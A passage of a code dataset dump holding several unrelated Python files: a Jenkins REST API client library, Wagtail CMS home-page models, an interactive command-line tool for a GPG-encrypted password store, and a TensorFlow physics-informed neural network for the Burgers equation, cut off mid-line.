'createView?name=%(name)s'\nDELETE_VIEW = 'view/%(name)s/doDelete'\nINFO_VIEW = 'view/%(name)s/api/json?'\n\nSTANDARD_VIEW_XML = '''\n\n $NAME\n false\n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n'''\n\nPATTERN_VIEW_XML = '''\n\n $NAME\n false\n false\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n $PATTERN\n false\n'''\n\n\nclass JenkinsException(Exception):\n '''General exception type for Jenkins-API-related failures.'''\n pass\n\n\nclass NotFoundException(JenkinsException):\n '''A special exception to call out the case of receiving a 404.'''\n pass\n\n\nclass BadHTTPException(JenkinsException):\n '''A special exception to call out the case of a broken HTTP response.'''\n pass\n\n\nclass JenkinsObj(object):\n \"\"\" High level class to work with LDAP\"\"\"\n\n def __init__(self, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):\n '''\n Create handle to Jenkins instance\n '''\n self.server = \"\"\n self.user = \"\"\n self.password = \"\"\n self.timeout = timeout\n\n def set_credentials(self, url, username, password):\n '''\n Set Jenkins credentials\n '''\n if url[-1] == '/':\n self.server = url\n else:\n self.server = url + '/'\n if username is not None and password is not None:\n self.user = username\n self.password = password\n\n def credentials(self):\n '''\n Launches both credentials methods\n '''\n _url, _user, _password = get_credentials(\"/.ssh/profile_jenkins\")\n self.set_credentials(_url, _user, _password)\n\n @staticmethod\n def _get_encoded_params(params):\n for k, v in params.items():\n if k in [\"name\", \"to_name\", \"from_name\", \"msg\"]:\n params[k] = quote(v)\n return params\n\n def get_job_info(self, name, depth=0):\n '''\n Get job information dictionary\n '''\n try:\n request = self.jenkins_open(self.server + JOB_INFO % self._get_encoded_params(locals()))\n if request.status_code == 404:\n print ('job[%s] does not exist' % name)\n return []\n\n if request.content:\n return json.loads(request.content)\n\n except HTTPError:\n raise JenkinsException('job[%s] does not exist' % name)\n except ValueError:\n raise JenkinsException(\n \"Could not parse JSON info for job[%s]\" % name)\n\n def get_job_info_regex(self, pattern, depth=0):\n '''\n Get a list of jobs information that contain names which match the regex pattern\n '''\n result = []\n jobs = self.get_jobs()\n # From the job list we get only the name\n for job in jobs:\n if re.search(pattern, job['name']):\n result.append(self.get_job_info(job['name'], depth=depth))\n\n return result\n\n def get_job_name(self, name):\n '''\n Return the name of a job using the API\n '''\n try:\n request = self.jenkins_open(self.server + JOB_NAME % self._get_encoded_params(locals()))\n if request.status_code == 404:\n return None\n except NotFoundException:\n return None\n else:\n actual = json.loads(request.content)['name']\n # Check if job name matches with provided one\n if actual != name:\n raise JenkinsException(\n 'Jenkins returned an unexpected job name %s '\n '(expected: %s)' % (actual, name))\n return actual\n\n def debug_job_info(self, job_name):\n '''\n Print out job info in more readable format.\n '''\n for k, v in self.get_job_info(job_name).items():\n print(k, v)\n\n def jenkins_open(self, req, method='pre', headers=None, data=None):\n '''\n Basic method to connect with Jenkins\n '''\n myreq = RequestObj(self.server, self.user, self.password)\n response = myreq.request_open_jenkins(req, method=method, headers=headers, data=data)\n return response\n\n def get_build_info(self, name, number, depth=0):\n '''\n Get build information dictionary\n '''\n try:\n request = self.jenkins_open(self.server + BUILD_INFO % self._get_encoded_params(locals()))\n # If we get content it is returned\n if request.content:\n return json.loads(request.content)\n else:\n raise JenkinsException('job[%s] number[%d] does not exist' % (name, number))\n # Check the different exceptions\n except HTTPError:\n raise JenkinsException('job[%s] number[%d] does not exist' % (name, number))\n except ValueError:\n raise JenkinsException('Could not parse JSON info for job[%s] number[%d]' % (name, number))\n\n def get_queue_info(self):\n '''\n Returns: list of job dictionaries\n '''\n request = self.jenkins_open(self.server + Q_INFO)\n # Return queued items\n return json.loads(request.content)['items']\n\n def cancel_queue(self, id):\n '''\n Cancel a queued build\n '''\n # Jenkins seems to always return a 404 when using this REST endpoint\n # https://issues.jenkins-ci.org/browse/JENKINS-21311\n try:\n self.jenkins_open(\n Request(self.server + CANCEL_QUEUE % locals(), '',\n headers={'Referer': self.server}))\n except NotFoundException:\n # Exception is expected; cancel_queue() is a best-effort\n # mechanism, so ignore it\n pass\n\n def get_info(self):\n \"\"\"\n Get information on this Master.\n \"\"\"\n try:\n request = self.jenkins_open(self.server + INFO)\n return json.loads(request.content)\n # Check the different exceptions\n except (HTTPError, BadStatusLine):\n raise BadHTTPException(\"Error communicating with server[%s]\" % self.server)\n except ValueError:\n raise JenkinsException(\"Could not parse JSON info for server[%s]\" % self.server)\n\n def get_version(self):\n '''\n Get Jenkins version\n '''\n myreq = RequestObj(self.server, self.user, self.password)\n return myreq.get_version()\n\n def get_plugins_info(self, depth=2):\n \"\"\"\n Get all installed plugins information on this Master.\n \"\"\"\n try:\n request = self.jenkins_open(self.server + PLUGIN_INFO % self._get_encoded_params(locals()))\n plugins_info = json.loads(request.content)\n return plugins_info['plugins']\n # Check the different exceptions\n except (HTTPError, BadStatusLine):\n raise BadHTTPException(\"Error communicating with server[%s]\" % self.server)\n except ValueError:\n raise JenkinsException(\"Could not parse JSON info for server[%s]\" % self.server)\n\n def get_plugin_info(self, name, depth=2):\n \"\"\"\n Get an installed plugin information on this Master.\n \"\"\"\n try:\n request = self.jenkins_open(self.server + PLUGIN_INFO % self._get_encoded_params(locals()))\n plugins_info = json.loads(request.content)\n # Returns the name of the plugins\n for plugin in plugins_info['plugins']:\n if plugin['longName'] == name or plugin['shortName'] == name:\n return plugin\n # Check the different exceptions\n except (HTTPError, BadStatusLine):\n raise BadHTTPException(\"Error communicating with server[%s]\" % self.server)\n except ValueError:\n raise JenkinsException(\"Could not parse JSON info for server[%s]\" % self.server)\n\n def get_jobs(self):\n \"\"\"\n Get list of jobs running.\n \"\"\"\n return self.get_info()['jobs']\n\n def copy_job(self, from_name, to_name):\n '''\n Copy a Jenkins job\n '''\n data = str(self.get_job_config(from_name)[0])\n self.create_job(to_name, data, config_type=\"raw\")\n # self.assert_job_exists(to_name, 'create[%s] failed')\n\n def rename_job(self, from_name, to_name):\n '''\n Rename an existing Jenkins job\n '''\n self.jenkins_open(self.server + RENAME_JOB % self._get_encoded_params(locals()), method='post')\n self.assert_job_exists(to_name, 'rename[%s] failed')\n\n def delete_job(self, name):\n '''\n Delete Jenkins job permanently.\n '''\n self.jenkins_open(self.server + DELETE_JOB % self._get_encoded_params(locals()), method='post')\n if self.job_exists(name):\n raise JenkinsException('delete[%s] failed' % (name))\n\n def enable_job(self, name):\n '''\n Enable Jenkins job.\n '''\n self.jenkins_open(self.server + ENABLE_JOB % self._get_encoded_params(locals()), method='post')\n\n def disable_job(self, name):\n '''\n Disable Jenkins job.\n '''\n self.jenkins_open(self.server + DISABLE_JOB % self._get_encoded_params(locals()), method='post')\n\n def job_exists(self, name):\n '''\n Check whether a job exists\n '''\n if self.get_job_name(name) == name:\n return True\n\n def jobs_count(self):\n '''\n Get the number of jobs on the Jenkins server\n '''\n return len(self.get_jobs())\n\n def assert_job_exists(self, name, exception_message='job[%s] does not exist'):\n '''\n Raise an exception if a job does not exist\n '''\n if not self.job_exists(name):\n raise JenkinsException(exception_message % name)\n\n def create_job(self, name, config_xml, config_type=\"file\"):\n '''\n Create a new Jenkins job\n '''\n # If job already exists returns an exception\n if self.job_exists(name):\n raise JenkinsException('job[%s] already exists' % (name))\n # Clean configuration file\n config_xml = config_xml.replace(\"\\b\", \"\\\\b\").replace(\"\\f\", \"\\\\f\").replace(\"\\t\", \"\\\\t\")\n # Configuration can be raw or in a file\n if \"file\" in config_type:\n with open(config_xml, \"r\") as myxmlfile:\n dataxml = myxmlfile.read().replace('\\n', '')\n elif \"raw\" in config_type:\n root = ET.fromstring(config_xml)\n dataxml = ET.tostring(root, encoding='utf8', method='xml').replace('\\n', '')\n\n headers = {'Content-Type': 'text/xml'}\n self.jenkins_open(self.server + CREATE_JOB % self._get_encoded_params(locals()), data=dataxml,\n headers=headers, method='post')\n self.assert_job_exists(name, 'create[%s] failed')\n\n def get_job_config(self, name):\n '''\n Get configuration of existing Jenkins job.\n '''\n request = self.jenkins_open(self.server + CONFIG_JOB % self._get_encoded_params(locals()))\n return request.content\n\n def reconfig_job(self, name, config_xml):\n '''\n Change configuration of existing Jenkins job.\n '''\n with open(config_xml, \"r\") as myxmlfile:\n dataxml = myxmlfile.read()\n\n headers = {'Content-Type': 'text/xml'}\n self.jenkins_open(self.server + CONFIG_JOB % self._get_encoded_params(locals()), data=dataxml,\n headers=headers, method='post')\n\n def build_job_url(self, name, parameters=None, token=None):\n '''\n Get URL to trigger build job.\n Authenticated setups may require configuring a token on the server side.\n '''\n if parameters:\n if token:\n parameters['token'] = token\n return (self.server + BUILD_WITH_PARAMS_JOB % self._get_encoded_params(locals()) +\n '?' + urlencode(parameters))\n elif token:\n return self.server + BUILD_JOB % self._get_encoded_params(locals()) + '?' + urlencode({'token': token})\n else:\n return self.server + BUILD_JOB % self._get_encoded_params(locals())\n\n def build_job(self, name, parameters=None, token=None):\n '''\n Trigger build job.\n Parameters for job, or ``None``, ``dict``\n '''\n return self.jenkins_open(self.build_job_url(name, parameters, token), method='post')\n\n def stop_build(self, name, number):\n '''\n Stop a running Jenkins build.\n '''\n self.jenkins_open(self.server + STOP_BUILD % self._get_encoded_params(locals()), method='post')\n\n def create_view(self, name, pattern=None):\n '''\n Creates a view with pattern or not.\n '''\n headers = {'Content-Type': 'text/xml'}\n if pattern:\n dataxml = PATTERN_VIEW_XML.replace(\"$NAME\", name).replace(\"$PATTERN\", pattern)\n else:\n dataxml = STANDARD_VIEW_XML.replace(\"$NAME\", name)\n\n self.jenkins_open(self.server + CREATE_VIEW % self._get_encoded_params(locals()), data=dataxml,\n headers=headers, method='post')\n\n def delete_view(self, name):\n '''\n Removes a view.\n '''\n self.jenkins_open(self.server + DELETE_VIEW % self._get_encoded_params(locals()), method='post')\n\n def view_info(self, name):\n '''\n Get tasks from a view.\n '''\n try:\n request = self.jenkins_open(self.server + INFO_VIEW % self._get_encoded_params(locals()))\n if request.status_code != 404:\n return json.loads(request.content)\n else:\n raise JenkinsException('view[%s] does not exist' % name)\n # Check the different exceptions\n except HTTPError:\n raise JenkinsException('view[%s] does not exist' % name)\n except ValueError:\n raise JenkinsException(\"Could not parse JSON info for view[%s]\" % name)\n\n def get_build_console_output(self, name, number):\n '''\n Get build console text.\n '''\n try:\n request = self.jenkins_open(self.server + BUILD_CONSOLE_OUTPUT % self._get_encoded_params(locals()))\n if request.content:\n return request.content\n else:\n raise JenkinsException('job[%s] number[%d] does not exist' % (name, number))\n # Check the different exceptions\n except HTTPError:\n raise JenkinsException('job[%s] number[%d] does not exist' % (name, number))\n","sub_path":"libs/jenkins_lib.py","file_name":"jenkins_lib.py","file_ext":"py","file_size_in_byte":17142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11776107","text":"from __future__ import unicode_literals\nfrom django.shortcuts import render\nfrom django.db import models\nimport json\nfrom django.conf import settings\nfrom django.core.serializers.json import DjangoJSONEncoder\n\nfrom modelcluster.fields import ParentalKey\nfrom modelcluster.models import ClusterableModel\n\nfrom wagtail.admin.edit_handlers import (\n FieldPanel,\n FieldRowPanel,\n InlinePanel,\n MultiFieldPanel,\n PageChooserPanel,\n StreamFieldPanel,\n)\nfrom wagtail.core.fields import RichTextField, StreamField\nfrom wagtail.core.models import Collection, Page,Orderable\nfrom wagtail.contrib.forms.models import AbstractEmailForm, AbstractFormField, AbstractFormSubmission\nfrom wagtail.contrib.forms.edit_handlers import FormSubmissionsPanel\n\nfrom wagtail.images.edit_handlers import ImageChooserPanel\nfrom wagtail.search import index\n\n\n\n\nfrom wagtail.snippets.models import register_snippet\n\n# A couple of abstract classes that contain commonly used fields\n\n\n\nclass HomePage(Page):\n body = RichTextField(blank=True)\n\n search_fields = Page.search_fields + [\n index.SearchField('intro'),\n index.SearchField('body'),\n ]\n logo_image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n content_panels = Page.content_panels + [\n FieldPanel('body', classname=\"full\"),\n InlinePanel('carousel_images', label=\"Carousel images\"),\n InlinePanel('feature_images', label=\" Services Images\"),\n InlinePanel('gallery_images', label=\"Partner or Client images\"),\n InlinePanel('section_images', label=\"Videos and White paper images\"),\n InlinePanel('section_blog_images', label=\"Section Blog images\"),\n InlinePanel('section_case_study_images', label=\"Case Study images Section \"),\n\n ]\n\n# Carousel items\n\nclass CarouselItem(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='carousel_images')\n caption = models.CharField(max_length=255, blank=True)\n tag_line = models.CharField(max_length=250,blank=True,null=True)\n embed_url = models.URLField(\"Embed URL\", blank=True)\n image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('caption'),\n FieldPanel('tag_line'),\n FieldPanel('embed_url'),\n ]\n\n\nclass HomePageGalleryImage(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='gallery_images')\n caption = models.CharField(blank=True,null=True, max_length=250)\n image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('caption'),\n\n ]\n\nclass HomePageFeatureImage(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='feature_images')\n header = models.CharField(blank=True,null=True, max_length=250)\n intro = models.CharField(blank=True,null=True, max_length=250)\n image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n embed_url = models.URLField(\"Embed URL\", blank=True)\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('header'),\n FieldPanel('intro'),\n FieldPanel('embed_url'),\n\n ]\n\nclass HomePageSectionImage(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='section_images')\n caption = models.CharField(blank=True,null=True, max_length=250)\n intro = models.CharField(blank=True,null=True, max_length=250)\n image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n embed_url = models.URLField(\"Embed URL\", blank=True)\n\n\n panels = [\n ImageChooserPanel('image'),\n FieldPanel('caption'),\n FieldPanel('intro'),\n FieldPanel('embed_url'),\n\n ]\n\n\nclass HomePageSectionBlogImage(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='section_blog_images')\n caption = models.CharField(blank=True,null=True, max_length=250)\n intro = models.CharField(blank=True,null=True, max_length=250)\n embed_url = models.URLField(\"Embed URL\", blank=True)\n\n blog_image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n panels = [\n ImageChooserPanel('blog_image'),\n FieldPanel('caption'),\n FieldPanel('intro'),\n FieldPanel('embed_url'),\n\n ]\n\nclass HomePageSectionCaseStudyImage(Orderable):\n page = ParentalKey(HomePage, on_delete=models.CASCADE, related_name='section_case_study_images')\n caption = models.CharField(blank=True,null=True, max_length=250)\n intro = models.CharField(blank=True,null=True, max_length=250)\n embed_url = models.URLField(\"Embed URL\", blank=True)\n\n case_study_image = models.ForeignKey(\n 'wagtailimages.Image',\n null=True,\n blank=True,\n on_delete=models.SET_NULL,\n related_name='+'\n )\n\n panels = [\n ImageChooserPanel('case_study_image'),\n FieldPanel('caption'),\n FieldPanel('intro'),\n FieldPanel('embed_url'),\n\n ]\n\n\n","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"42616679","text":"import json\nimport os\nimport sys\nimport pyperclip\nimport platform\nfrom collections import OrderedDict\nfrom command_controler import CommandControler\nfrom gpg_tools import GPGTools\n\nKEYS = OrderedDict([('user', None), ('password', None), ('url', None), ('other', None)])\n\nclass InteractiveCMD:\n\tcmdc = ''\n\tFILE = ''\n\n\tdef __init__(self, gpg):\n\t\tself.cmdc = CommandControler(gpg)\n\t\tself.FILE = gpg.get_file()\n\n\tdef id_or_list(self):\n\t\tkeys_list = self.cmdc.get_keys()\n\t\tid = input(\"Introduce the identifier name or 'list' for list all identifiers: \").replace(' ','_')\n\t\twhile id.lower()=='list' or id not in keys_list:\n\t\t\tif id.lower()=='list' :\n\t\t\t\tself.show_keys()\n\t\t\t\tid = input(\"Introduce the identifier name or 'list' for list all identifiers: \").replace(' ','_')\n\t\t\tif id not in keys_list:\n\t\t\t\tid = input(\"Introduce a valid identifier name or 'list' for list all identifiers: \").replace(' ','_')\n\t\treturn id\n\n\tdef add_content(self):\n\t\tid = input('Please Introduce an Identifier: ').replace(' ','_')\n\t\tif(os.path.isfile(self.FILE)):\n\t\t\twhile(id in self.cmdc.get_keys()):\n\t\t\t\tid = input('Please Introduce an Identifier: ').replace(' ','_')\n\n\t\tfor el in KEYS:\n\t\t\tKEYS[el] = input(\"Please introduce a value for '\" + str(el.lower()) + \"' field, or leave it empty: \")\n\t\tnew_json_content = {id:dict(KEYS)}\n\t\tself.cmdc.add_content(json.dumps(new_json_content))\n\n\tdef modify_content(self):\n\t\tid = self.id_or_list()\n\t\tjson_content = json.loads(self.cmdc.get_json())\n\t\tjson_content.pop(id, None)\n\t\tnew_json = {}\n\t\tprint('Leave all elements without value for delete the entry')\n\n\t\tfor e in KEYS:\n\t\t\telement = input('New ' + str(e) + ': ')\n\t\t\tnew_json[e] = element\n\n\t\tif all( values == '' for key, values in new_json.items()):\n\t\t\tjkv = json.dumps(json_content, sort_keys=True)\n\t\t\tself.cmdc.set_json(jkv)\n\t\t\tprint('Done! Identifier ' + id + ' has been deleted')\n\t\telse:\n\t\t\tjson_content[id] = new_json\n\t\t\tjkv = json.dumps(json_content, sort_keys=True)\n\t\t\tself.cmdc.set_json(jkv)\n\t\t\tprint('Done! Identifier ' + id + ' has been modified')\n\n\tdef show_keys(self):\n\t\tself.cmdc.show_keys()\n\n\tdef update_keys(self):\n\t\tself.cmdc.update_keys()\n\n\tdef print_decrypt_content(self):\n\t\tid = self.id_or_list()\n\t\tjson_content = json.loads(self.cmdc.get_json())\n\n\t\toutput = input('Show values? (Y/n): ')\n\t\twhile output.lower() != 'y' and output.lower() != 'n' and output.lower() != 'yes' and output.lower() != 'no' and output.lower() != '':\n\t\t\toutput = input('Show values? (Y/n): ')\n\n\t\tif output.lower() == '' or output.lower() == 'y' or output.lower() == 'yes':\n\t\t\tfor e in KEYS:\n\t\t\t\tprint(str(e) + ': ' + str(json_content[id][e]))\n\n\t\toutput = input('Copy any elemento to clipboard? (N/element name): ' )\n\t\twhile output.lower() not in KEYS and output.lower() != '' and output.lower() != 'n' and output.lower() != 'no':\n\t\t\t\toutput = input(\"Please choose 'no' for leave. For copy and element 'user', 'password', 'url' or 'other': \" )\n\n\t\tif output.lower() != '' and output.lower() != 'no' and output.lower() != 'n':\n\t\t\tif platform.system() == 'Darwin':\n\t\t\t\tpyperclip.copy(json_content[id][output.lower()])\n\t\t\telse:\n\t\t\t\tprint('Only Darwin platforms')\n\n\tdef exit(self):\n\t\tsys.exit(0)\n\n\tdef input_menu(self, option, switcher):\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\toption = int(option)\n\t\t\t\tif option not in range(1,switcher): raise ValueError\n\t\t\t\tbreak\n\t\t\texcept:\n\t\t\t\toption = input('Please, choose correct option: ')\n\t\treturn option\n\n\tdef interactive_menu(self):\n\t\tif os.path.isfile(self.FILE):\n\t\t\tswitcher = {\n\t\t\t\t0: lambda: '',\n\t\t\t\t1: self.add_content,\n\t\t\t\t2: self.modify_content,\n\t\t\t\t3: self.print_decrypt_content,\n\t\t\t\t4: self.show_keys,\n\t\t\t\t5: self.update_keys,\n\t\t\t\t6: self.exit\n\t\t\t}\n\t\t\toption = input('\\t1: Add Key/Value Pair\\n\\t2: Modify/Delete Key/Value Pair\\n\\t3: Decrypt Key/Value Pair\\n\\t4: Show Keys\\n\\t5: Update public keys\\n\\t6: Exit\\nChoose: ')\n\t\t\toption = self.input_menu(option, len(switcher))\n\t\t\tfunc = switcher.get(option, lambda: 'nothing')\n\t\t\treturn func()\n\t\telse:\n\t\t\tprint('The file' + self.FILE + 'has not been found, using -i/--interactive argument.')\n\t\t\tswitcher = {\n\t\t\t\t0: lambda:'',\n\t\t\t\t1: self.add_content,\n\t\t\t\t2: self.exit\n\t\t\t}\n\t\t\toption = input('\\t1: Add\\n\\t2: Exit\\nChoose: ')\n\t\t\toption = self.input_menu(option, len(switcher))\n\t\t\tfunc = switcher.get(option, lambda: 'nothing')\n\t\t\treturn func()\n\n\tdef main(self):\n\t\tpass\n\nif __name__ == '__main__':\n\tgpg = GPGTools()\n\ticmd = InteractiveCMD(gpg)\n\ticmd.main()\n","sub_path":"interactive_cmd.py","file_name":"interactive_cmd.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"165573464","text":"import sys\nimport tensorflow as tf\nimport numpy as np\nimport scipy.io\nfrom pyDOE import lhs\nimport time\n\nnp.random.seed(1234)\ntf.set_random_seed(1234)\n\nclass PhysicsInformedNN_ResNet:\n # Initialize the class\n def __init__(self, X_u, u, X_f, layers, lb, ub, nu, learning_rate, weighted):\n\n self.lb = lb\n self.ub = ub\n\n self.x_u = X_u[:, 0:1]\n self.t_u = X_u[:, 1:2]\n\n self.x_f = X_f[:, 0:1]\n self.t_f = X_f[:, 1:2]\n\n self.u = u\n\n self.layers = layers\n self.nu = nu\n\n self.learning_rate = tf.constant(learning_rate)\n self.weighted = weighted\n\n # Initialize NNs\n self.weights, self.biases = self.initialize_NN(layers)\n self.saver = tf.train.Saver(max_to_keep=30000)\n\n # tf placeholders and graph\n self.sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True,\n log_device_placement=True))\n\n self.x_u_tf = tf.placeholder(tf.float32, shape=[None, self.x_u.shape[1]])\n self.t_u_tf = tf.placeholder(tf.float32, shape=[None, self.t_u.shape[1]])\n self.u_tf = tf.placeholder(tf.float32, shape=[None, self.u.shape[1]])\n\n self.x_f_tf = tf.placeholder(tf.float32, shape=[None, self.x_f.shape[1]])\n self.t_f_tf = tf.placeholder(tf.float32, shape=[None, self.t_f.shape[1]])\n\n self.u_pred = self.net_u(self.x_u_tf, self.t_u_tf)\n self.f_pred = self.net_f(self.x_f_tf, self.t_f_tf)\n\n self.loss_u = tf.reduce_mean(tf.square(self.u_tf - self.u_pred))\n self.loss_f = tf.reduce_mean(tf.square(self.f_pred))\n self.loss = self.loss_u/(1 + self.weighted) + self.loss_f*(self.weighted/(1+self.weighted))\n\n self.mape_u = tf.reduce_mean(tf.abs(self.u_tf - self.u_pred) / tf.abs(self.u_tf))\n\n self.var_u = tf.math.reduce_variance(tf.square(self.u_tf - self.u_pred))\n self.var_f = tf.math.reduce_variance(tf.square(self.f_pred))\n self.var_mape_u = tf.math.reduce_variance(tf.abs(self.u_tf - self.u_pred) / tf.abs(self.u_tf))\n\n self.worst_u = tf.math.reduce_max(tf.square(self.u_tf - self.u_pred))\n self.worst_f = tf.math.reduce_max(tf.square(self.f_pred))\n self.worst_mape_u = tf.reduce_max(tf.abs(self.u_tf - self.u_pred) / tf.abs(self.u_tf))\n\n self.optimizer_Adam = tf.train.AdamOptimizer(learning_rate = self.learning_rate)\n self.train_op_Adam = self.optimizer_Adam.minimize(self.loss)\n\n # tf session\n self.sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True,\n log_device_placement=True))\n\n init = tf.global_variables_initializer()\n self.sess.run(init)\n\n def initialize_NN(self, layers):\n weights = []\n biases = []\n num_layers = len(layers)\n for l in range(0, num_layers - 1):\n W = self.xavier_init(size=[layers[l], layers[l + 1]])\n b = tf.Variable(tf.zeros([1, layers[l + 1]], dtype=tf.float32), dtype=tf.float32)\n self.W = W\n self.b = b\n weights.append(W)\n biases.append(b)\n return weights, biases\n\n def xavier_init(self, size):\n in_dim = size[0]\n out_dim = size[1]\n xavier_stddev = np.sqrt(2 / (in_dim + out_dim))\n return tf.Variable(tf.truncated_normal([in_dim, out_dim], stddev=xavier_stddev), dtype=tf.float32)\n\n def neural_net(self, X, weights, biases):\n num_layers = len(weights) + 1\n H = 2.0 * (X - self.lb) / (self.ub - self.lb) - 1.0\n W = weights[0]\n b = biases[0]\n H = tf.tanh(tf.add(tf.matmul(H, W), b))\n for l in range(1, num_layers - 2):\n W = weights[l]\n b = biases[l]\n H = tf.tanh(tf.add(tf.add(tf.matmul(H, W), b), H))\n W = weights[-1]\n b = biases[-1]\n Y = tf.add(tf.matmul(H, W), b)\n return Y\n\n def net_u(self, x, t):\n u = self.neural_net(tf.concat([x, t], 1), self.weights, self.biases)\n return u\n\n def net_f(self, x, t):\n u = self.net_u(x, t)\n u_t = tf.gradients(u, t)[0]\n u_x = tf.gradients(u, x)[0]\n u_xx = tf.gradients(u_x, x)[0]\n f = u_t + u * u_x - self.nu * u_xx\n\n return f\n\n def callback(self, loss):\n print('Loss', loss)\n\n def train(self, nIter, n_outlook, diff_loss, X_val_star, u_val_star, num_layers, num_neurons, learning_rate, weighted):\n\n tf_dict = {self.x_u_tf: self.x_u, self.t_u_tf: self.t_u, self.u_tf: self.u,\n self.x_f_tf: self.x_f, self.t_f_tf: self.t_f}\n\n n_epoch = []\n\n val_err = []\n\n loss_of_all = []\n loss_of_u = []\n loss_of_f = []\n\n mean_of_epoch_u = []\n mean_of_epoch_f = []\n mean_of_mape_u = []\n\n var_of_epoch_u = []\n var_of_epoch_f = []\n var_of_mape_u = []\n\n worst_of_epoch_u = []\n worst_of_epoch_f = []\n worst_of_mape_u = []\n\n best_val = np.inf\n start_time = time.time()\n for it in range(nIter):\n\n _, new_loss, lossu, lossf = self.sess.run([self.train_op_Adam, self.loss, self.loss_u, self.loss_f], tf_dict)\n\n loss_of_all.insert(it, self.sess.run(self.loss, tf_dict))\n loss_of_u.insert(it, lossu)\n loss_of_f.insert(it, lossf)\n\n mean_of_epoch_u.insert(it, self.sess.run(self.loss_u, tf_dict))\n mean_of_epoch_f.insert(it, self.sess.run(self.loss_f, tf_dict))\n mean_of_mape_u.insert(it, self.sess.run(self.mape_u, tf_dict))\n\n var_of_epoch_u.insert(it, self.sess.run(self.var_u, tf_dict))\n var_of_epoch_f.insert(it, self.sess.run(self.var_f, tf_dict))\n var_of_mape_u.insert(it, self.sess.run(self.var_mape_u, tf_dict))\n\n worst_of_epoch_u.insert(it, self.sess.run(self.worst_u, tf_dict))\n worst_of_epoch_f.insert(it, self.sess.run(self.worst_f, tf_dict))\n worst_of_mape_u.insert(it, self.sess.run(self.worst_mape_u, tf_dict))\n\n n_epoch.insert(it, it)\n\n if it >= n_outlook:\n if abs(max(loss_of_all[it - n_outlook: it]) - min(loss_of_all[it - n_outlook: it])) < diff_loss:\n break\n\n # Print\n if it % n_outlook == 0:\n self.saver.save(self.sess,\n './tf_model/Viscous_burgers-Adam-weighted-ResNet-%d-%d-%.4f-%d-%d.ckpt' % (\n num_layers, num_neurons, learning_rate, weighted, it))\n u_tf_pred, f_tf_pred = self.predict_val(X_val_star)\n val_error = np.linalg.norm(u_val_star - u_tf_pred, 2) / np.linalg.norm(u_val_star, 2)\n val_err.insert(it, val_error)\n\n if best_val > val_error:\n best_val = val_error\n i = it\n self.saver.save(self.sess,'./tf_model/Viscous_burgers-Adam-weighted-ResNet-%d-%d-%.4f-%d.ckpt' % (\n num_layers, num_neurons, learning_rate, weighted))\n elapsed = time.time() - start_time\n print('It: %d, Loss: %.3e, Time: %.2f' % (it, new_loss, elapsed))\n start_time = time.time()\n\n return loss_of_all, loss_of_u, loss_of_f, mean_of_epoch_u, mean_of_epoch_f, mean_of_mape_u, var_of_epoch_u, var_of_epoch_f, \\\n var_of_mape_u, worst_of_epoch_u, worst_of_epoch_f, worst_of_mape_u, n_epoch, best_val, val_err, i\n\n def predict_val(self, X_star):\n u_star = self.sess.run(self.u_pred, {self.x_u_tf: X_star[:, 0:1], self.t_u_tf: X_star[:, 1:2]})\n f_star = self.sess.run(self.f_pred, {self.x_f_tf: X_star[:, 0:1], self.t_f_tf: X_star[:, 1:2]})\n\n return u_star, f_star\n\n def predict(self, X_star, it):\n self.saver.restore(self.sess,\n './tf_model/Viscous_burgers-Adam-weighted-ResNet-%d-%d-%.4f-%d-%d.ckpt' % (\n num_layers, num_neurons, learning_rate, weighted, it))\n u_star = self.sess.run(self.u_pred, {self.x_u_tf: X_star[:, 0:1], self.t_u_tf: X_star[:, 1:2]})\n f_star = self.sess.run(self.f_pred, {self.x_f_tf: X_star[:, 0:1], self.t_f_tf: X_star[:, 1:2]})\n\n return u_star, f_star\n\n\n\ndef main_loop(num_layers, num_neurons, learning_rate, weighted):\n\n N_u = 100\n N_f = 10000\n\n nu = 0.01 / np.pi\n\n num_layers = num_layers\n num_neurons = num_neurons\n learning_rate = learning_rate\n weighted = weighted\n\n layers = np.concatenate([[2], num_neurons * np.ones(num_layers), [1]]).astype(int).tolist()\n\n data = scipy.io.loadmat(\"../../Data/burgers_shock.mat\")\n\n t = data['t'].flatten()[:, None]\n x = data['x'].flatten()[:, None]\n Exact = np.real(data['usol']).T\n\n len1 = len(t[t <= 0.5]) \n len2 = len(t[t <= 0.8])\n t_train = t[0: len1, :]\n t_val = t[len1:len2, :] \n t_test = t[len2:, :]\n\n\n Exact_train = Exact[: len1, :]\n Exact_val = Exact[len1:len2, :]\n Exact_test = Exact[len2:, :]\n\n X, T = np.meshgrid(x, t)\n X_train, T_train = np.meshgrid(x, t_train)\n X_val, T_val = np.meshgrid(x, 